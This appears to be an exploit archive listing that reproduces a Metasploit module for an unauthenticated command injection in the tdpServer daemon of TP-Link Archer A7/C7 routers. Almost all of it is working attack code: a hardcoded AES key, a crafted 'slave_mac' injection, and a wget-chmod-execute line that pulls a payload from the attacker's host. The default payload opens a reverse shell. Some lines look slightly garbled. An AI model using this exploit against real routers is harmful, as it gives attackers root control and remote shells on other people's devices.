TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution

Credit: Pedro Ribeiro
Risk: High
Local: No
Remote: Yes

## # This module requires Metasploit: # Current source: ## require 'openssl' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution', 'Description' => %q{ This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726. The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command as root, including downloading and executing a binary from another host. This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro + Radek Domanski). }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]>', # Vulnerability discovery and Metasploit module 'Radek Domanski <radek.domanski[at]> @RabbitPro' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'URL', ''], [ 'URL', ''], [ 'URL', ''], [ 'CVE', '2020-10882'], [ 'CVE', '2020-10883'], [ 'CVE', '2020-10884'], [ 'ZDI', '20-334'], [ 'ZDI', '20-335'], [ 'ZDI', '20-336' ] ], 'Privileged' => true, 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE, 'Payload' => {}, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp', 'WfsDelay' => 15, }, 'Targets' => [ [ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ] ], 'DisclosureDate' => "Mar 25 2020", 'DefaultTarget' => 0, ) ) register_options( [ Opt::RPORT(20002) ]) register_advanced_options( ['MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15]) ]) end def check begin res = send_request_cgi({ 'uri' => '/webpages/app.1564127413977.manifest', 'method' => 'GET', 'rport' => 80 }) if res && res.code == 200 return Exploit::CheckCode::Vulnerable end rescue ::Rex::ConnectionError pass end return Exploit::CheckCode::Unknown end def calc_checksum(packet) # reference table used to calculate the packet checksum # used by tdpd_pkt_calc_checksum (0x4037f0) # located at offset 0x0416e90 in the binary reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee, 0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4, 0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79, 0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c, 0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d, 0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41, 0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83, 0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9, 0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa, 0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8, 0x4c, 0x69, 0x10, 0x5e, 0xd5, 0x60, 0x41, 0xe4, 0xa2, 0x67, 0x71, 0x72, 0x3c, 0x03, 0xe4, 0xd1, 0x4b, 0x04, 0xd4, 0x47, 0xd2, 0x0d, 0x85, 0xfd, 0xa5, 0x0a, 0xb5, 0x6b, 0x35, 0xb5, 0xa8, 0xfa, 0x42, 0xb2, 0x98, 0x6c, 0xdb, 0xbb, 0xc9, 0xd6, 0xac, 0xbc, 0xf9, 0x40, 0x32, 0xd8, 0x6c, 0xe3, 0x45, 0xdf, 0x5c, 0x75, 0xdc, 0xd6, 0x0d, 0xcf, 0xab, 0xd1, 0x3d, 0x59, 0x26, 0xd9, 0x30, 0xac, 0x51, 0xde, 0x00, 0x3a, 0xc8, 0xd7, 0x51, 0x80, 0xbf, 0xd0, 0x61, 0x16, 0x21, 0xb4, 0xf4, 0xb5, 0x56, 0xb3, 0xc4, 0x23, 0xcf, 0xba, 0x95, 0x99, 0xb8, 0xbd, 0xa5, 0x0f, 0x28, 0x02, 0xb8, 0x9e, 0x5f, 0x05, 0x88, 0x08, 0xc6, 0x0c, 0xd9, 0xb2, 0xb1, 0x0b, 0xe9, 0x24, 0x2f, 0x6f, 0x7c, 0x87, 0x58, 0x68, 0x4c, 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0xd6, 0xf4, 0xfb, 0x43, 0x69, 0xe9, 0x6a, 0x34, 0x6e, 0xd9, 0xfc, 0xad, 0x67, 0x88, 0x46, 0xda, 0x60, 0xb8, 0xd0, 0x44, 0x04, 0x2d, 0x73, 0x33, 0x03, 0x1d, 0xe5, 0xaa, 0x0a, 0x4c, 0x5f, 0xdd, 0x0d, 0x7c, 0xc9, 0x50, 0x05, 0x71, 0x3c, 0x27, 0x02, 0x41, 0xaa, 0xbe, 0x0b, 0x10, 0x10, 0xc9, 0x0c, 0x20, 0x86, 0x57, 0x68, 0xb5, 0x25, 0x20, 0x6f, 0x85, 0xb3, 0xb9, 0x66, 0xd4, 0x09, 0xce, 0x61, 0xe4, 0x9f, 0x5e, 0xde, 0xf9, 0x0e, 0x29, 0xd9, 0xc9, 0x98, 0xb0, 0xd0, 0x98, 0x22, 0xc7, 0xd7, 0xa8, 0xb4, 0x59, 0xb3, 0x3d, 0x17, 0x2e, 0xb4, 0x0d, 0x81, 0xb7, 0xbd, 0x5c, 0x3b, 0xc0, 0xba, 0x6c, 0xad, 0xed, 0xb8, 0x83, 0x20, 0x9a, 0xbf, 0xb3, 0xb6, 0x03, 0xb6, 0xe2, 0x0c, 0x74, 0xb1, 0xd2, 0x9a, 0xea, 0xd5, 0x47, 0x39, 0x9d, 0xd2, 0x77, 0xaf, 0x04, 0xdb, 0x26, 0x15, 0x73, 0xdc, 0x16, 0x83, 0xe3, 0x63, 0x0b, 0x12, 0x94, 0x64, 0x3b, 0x84, 0x0d, 0x6d, 0x6a, 0x3e, 0x7a, 0x6a, 0x5a, 0xa8, 0xe4, 0x0e, 0xcf, 0x0b, 0x93, 0x09, 0xff, 0x9d, 0x0a, 0x00, 0xae, 0x27, 0x7d, 0x07, 0x9e, 0xb1, 0xf0, 0x0f, 0x93, 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0xb4, 0x5a, 0x92, 0x5c, 0xb3, 0x6a, 0x04, 0xc2, 0xd7, 0xff, 0xa7, 0xb5, 0xd0, 0xcf, 0x31, 0x2c, 0xd9, 0x9e, 0x8b, 0x5b, 0xde, 0xae, 0x1d, 0x9b, 0x64, 0xc2, 0xb0, 0xec, 0x63, 0xf2, 0x26, 0x75, 0x6a, 0xa3, 0x9c, 0x02, 0x6d, 0x93, 0x0a, 0x9c, 0x09, 0x06, 0xa9, 0xeb, 0x0e, 0x36, 0x3f, 0x72, 0x07, 0x67, 0x85, 0x05, 0x00, 0x57, 0x13, 0x95, 0xbf, 0x4a, 0x82, 0xe2, 0xb8, 0x7a, 0x14, 0x7b, 0xb1, 0x2b, 0xae, 0x0c, 0xb6, 0x1b, 0x38, 0x92, 0xd2, 0x8e, 0x9b, 0xe5, 0xd5, 0xbe, 0x0d, 0x7c, 0xdc, 0xef, 0xb7, 0x0b, 0xdb, 0xdf, 0x21, 0x86, 0xd3, 0xd2, 0xd4, 0xf1, 0xd4, 0xe2, 0x42, 0x68, 0xdd, 0xb3, 0xf8, 0x1f, 0xda, 0x83, 0x6e, 0x81, 0xbe, 0x16, 0xcd, 0xf6, 0xb9, 0x26, 0x5b, 0x6f, 0xb0, 0x77, 0xe1, 0x18, 0xb7, 0x47, 0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06, 0x3b, 0xca, 0x11, 0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69, 0x61, 0x6b, 0xff, 0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d, 0xd2, 0xee, 0x4e, 0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61, 0xd0, 0x60, 0x16, 0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1, 0x6a, 0x4a, 0xd9, 0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae, 0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd, 0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3, 0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23, 0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b, 0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a, 0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d] res = 0xffffffff # main checksum calculation packet.each_entry { |c| index = ((c ^ res) & 0xff) * 4 # .reverse is needed as the target is big endian ref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first) res = ref ^ (res >> 8) } checksum = ~res checksum_s = [(checksum)].pack('I>').force_encoding("ascii") # convert back to string packet = packet.pack('C*').force_encoding('ascii') # and replace the checksum packet[12] = checksum_s[0] packet[13] = checksum_s[1] packet[14] = checksum_s[2] packet[15] = checksum_s[3] packet end def aes_encrypt(plaintext) # Function encrypts perfectly 16 bytes aligned payload if (plaintext.length % 16 != 0) return end cipher = 'AES-128-CBC' # in the original C code the key and IV are 256 bits long... but they still use AES-128 iv = "1234567890abcdef" key = "TPONEMESH_Kf!xn?" encrypted = '' cipher.encrypt cipher.iv = iv cipher.key = key # Take each 16 bytes block and encrypt it plaintext.scan(/.{1,16}/) { |block| encrypted += cipher.update(block) } encrypted end def create_injection(c) # Template for the command injection # The injection happens at "slave_mac" (read advisory for details) # The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions. # This will fail if we send a command with single quotes (') # ... but that's not a problem for this module, since we don't use them for our command. # It might also fail with double quotes (") since this will break the JSON... inject = "\';printf \'#{c}\'>>#{@cmd_file}\'" template = "{\"method\":\"slave_key_offer\",\"data\":{"\ "\"group_id\":\"#{rand_text_numeric(1..3)}\","\ "\"ip\":\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\","\ "\"slave_mac\":\"%{INJECTION}\","\ "\"slave_private_account\":\"#{rand_text_alpha(5..13)}\","\ "\"slave_private_password\":\"#{rand_text_alpha(5..13)}\","\ "\"want_to_join\":false,"\ "\"model\":\"#{rand_text_alpha(5..13)}\","\ "\"product_type\":\"#{rand_text_alpha(5..13)}\","\ "\"operation_mode\":\"A%{PADDING}\"}}" # This is required to calculate exact template length without replace flags template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length # This has to be initialized to cover the situation when no padding is needed pad = '' padding = rand_text_alpha(16) template_len += inject.length # Calculate pad if padding is needed if (template_len % 16 != 0) pad = padding[0..15-(template_len % 16)] end # Here the final payload is created template % {INJECTION:"#{inject}", PADDING:"#{pad}"} end def update_len_field(packet, payload_length) new_packet = packet[0..3] new_packet += [payload_length].pack("S>") new_packet += packet[6..-1] end def exec_cmd_file(packet) # This function handles special action of exec # Returns new complete tpdp packet inject = "\';sh #{@cmd_file}\'" payload = create_injection(inject) ciphertext = aes_encrypt(payload) if not ciphertext fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!") end new_packet = packet[0..15] new_packet += ciphertext new_packet = update_len_field(new_packet, ciphertext.length) calc_checksum(new_packet.bytes) end # Handle incoming requests from the router def on_request_uri(cli, request) print_good("#{peer} - Sending executable to the router") print_good("#{peer} - Sit back and relax, Shelly will come visit soon!") send_response(cli, @payload_exe) @payload_sent = true end def exploit if (datastore['SRVHOST'] == "" or datastore['SRVHOST'] == "::") fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST") end if datastore['SSL'] fail_with(Failure::Unknown, "SSL is not supported on this target, please disable it") end print_status("Attempting to exploit #{}") tpdp_packet_template = [0x01].pack('C*') + # packet version, fixed to 1 [0xf0].pack('C*') + # set packet type to 0xf0 (onemesh) [0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table [0x00].pack('S>*') + # packet len [0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function [0x00].pack('C*') + # dunno what this is [rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') + # serial number, can by any value [0x5A,0x6B,0x7C,0x8D].pack('C*') # Checksum placeholder srv_host = datastore['SRVHOST'] srv_port = datastore['SRVPORT'] @cmd_file = rand_text_alpha_lower(1) # generate our payload executable @payload_exe = generate_payload_exe # Command that will download @payload_exe and execute it download_cmd = "wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}" http_service = 'http://' + srv_host + ':' + srv_port.to_s print_status("Starting up our web service on #{http_service} ...") start_service({'Uri' => { 'Proc' => { |cli, req| on_request_uri(cli, req) }, 'Path' => "/#{@cmd_file}" }}) print_status("#{peer} - Connecting to the target") connect_udp print_status("#{peer} - Sending command file byte by byte") print_status("#{peer} - Command: #{download_cmd}") mod = download_cmd.length / 5 download_cmd.each_char.with_index { |c, index| # Generate payload payload = create_injection(c) if not payload fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!") end # Encrypt payload ciphertext = aes_encrypt(payload) if not ciphertext fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!") end tpdp_packet = tpdp_packet_template.dup tpdp_packet += ciphertext tpdp_packet = update_len_field(tpdp_packet, ciphertext.length) tpdp_packet = calc_checksum(tpdp_packet.bytes) udp_sock.put(tpdp_packet) # Sleep to make sure the payload is processed by a target Rex.sleep(1) # Print progress if ((index+1) % mod == 0) percentage = 20 * ((index+1) / mod) # very advanced mathemathics in use here to show the progress bar print_status("#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]") if percentage == 100 # a bit of cheating to get the last char done right index = -2 end #print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}") end } # Send the exec command. From here we should receive the connection print_status("#{peer} - Command file sent, attempting to execute...") tpdp_packet = exec_cmd_file(tpdp_packet_template.dup) udp_sock.put(tpdp_packet) timeout = 0 while not @payload_sent Rex.sleep(1) timeout += 1 if timeout == datastore['MAX_WAIT'].to_i fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(") end end disconnect_udp end end

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